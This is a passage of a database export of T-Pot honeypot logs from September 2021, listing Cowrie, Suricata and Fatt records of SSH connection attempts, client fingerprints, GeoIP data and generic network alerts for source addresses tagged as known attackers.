"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36899	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:17:58.614025+03	2021-09-20 15:30:02.894869+03	{"_id": "wwYkA3wBvYTbRNuEPGWv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "519619cfd3b5", "@version": "1", "duration": 5.512353420257568, "timestamp": "2021-09-20T12:17:58.614025Z", "@timestamp": "2021-09-20T12:17:58.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36900	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:08.401474+03	2021-09-20 15:30:02.895869+03	{"_id": "0QYkA3wBvYTbRNuEY2XD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "d8b3a5d67995", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:18:08.401474Z", "@timestamp": "2021-09-20T12:18:08.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
36901	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:18:08.391+03	2021-09-20 15:30:02.896869+03	{"_id": "1AYkA3wBvYTbRNuEY2XE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "434548edc848", "@version": "1", "timestamp": "2021-09-20T12:18:08.391000Z", "@timestamp": "2021-09-20T12:18:08.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	SE
36902	5.188.62.196	109.199.241.180	Suricata	2021-09-20 15:18:08.460502+03	2021-09-20 15:30:02.898867+03	{"_id": "3QYkA3wBvYTbRNuEZGXC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:18:08.340346+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 819668671541626, "payload": "AAADvA4U+L60dF2GIK1ThvI281y9HAAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAK4fUE2oWw4scfIv9cv5", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38074, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:18:08.460502Z", "@timestamp": "2021-09-20T12:18:08.460Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........t]. .S..6.\\\\......curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none...............PM.[.,q./..."}}	1	\N	\N	alert	\N	RU
36903	159.253.30.249	109.199.241.180	Fatt	2021-09-20 15:18:08.390379+03	2021-09-20 15:30:02.899868+03	{"_id": "5wYkA3wBvYTbRNuEZmUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 42368, "dest_port": 22, "timestamp": "2021-09-20T12:18:08.390379", "@timestamp": "2021-09-20T12:18:08.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	SE
36904	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:18:09.118732+03	2021-09-20 15:30:02.90087+03	{"_id": "6gYkA3wBvYTbRNuEZ2Wt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 120.36.157.98:22605 (192.168.176.2:22) [session: f7bbf8615581]", "session": "f7bbf8615581", "@version": "1", "protocol": "ssh", "src_port": 22605, "dest_port": 22, "timestamp": "2021-09-20T12:18:09.118732Z", "@timestamp": "2021-09-20T12:18:09.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36905	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:18:09.428042+03	2021-09-20 15:30:02.902867+03	{"_id": "7AYkA3wBvYTbRNuEZ2Wt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f7bbf8615581", "@version": "1", "timestamp": "2021-09-20T12:18:09.428042Z", "@timestamp": "2021-09-20T12:18:09.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36906	120.36.157.98	109.199.241.180	Suricata	2021-09-20 15:18:09.427016+03	2021-09-20 15:30:02.903867+03	{"_id": "7QYkA3wBvYTbRNuEaGWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "flow_id": 476483604735508, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 22605, "dest_port": 22, "timestamp": "2021-09-20T12:18:09.427016Z", "@timestamp": "2021-09-20T12:18:09.427Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36907	157.240.234.15	109.199.241.180	Suricata	2021-09-20 15:18:11.373811+03	2021-09-20 15:30:02.905867+03	{"_id": "9QYkA3wBvYTbRNuEcGV-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:11.313021+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1990141749216957, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 48906, "timestamp": "2021-09-20T12:18:11.373811Z", "@timestamp": "2021-09-20T12:18:11.373Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36908	157.240.234.15	109.199.241.180	Suricata	2021-09-20 15:18:11.557796+03	2021-09-20 15:30:02.906867+03	{"_id": "9AYkA3wBvYTbRNuEcGV9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:11.313021+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 264}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1990141749216957, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 48906, "timestamp": "2021-09-20T12:18:11.557796Z", "@timestamp": "2021-09-20T12:18:11.557Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36909	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:08.28348+03	2021-09-20 15:30:02.908868+03	{"_id": "5AYkA3wBvYTbRNuEZmUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.253.30.249", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42368, "timestamp": "2021-09-20T12:18:08.283480", "@timestamp": "2021-09-20T12:18:08.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36910	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:09.123634+03	2021-09-20 15:30:02.909869+03	{"_id": "5QYkA3wBvYTbRNuEZmUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "120.36.157.98", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 22605, "timestamp": "2021-09-20T12:18:09.123634", "@timestamp": "2021-09-20T12:18:09.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36911	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:18:09.121548+03	2021-09-20 15:30:02.910869+03	{"_id": "6AYkA3wBvYTbRNuEZ2Ws", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f7bbf8615581", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:18:09.121548Z", "@timestamp": "2021-09-20T12:18:09.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36912	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:18:09.834396+03	2021-09-20 15:30:02.912867+03	{"_id": "6wYkA3wBvYTbRNuEZ2Wt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "434548edc848", "@version": "1", "duration": 1.5520899295806885, "timestamp": "2021-09-20T12:18:09.834396Z", "@timestamp": "2021-09-20T12:18:09.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	SE
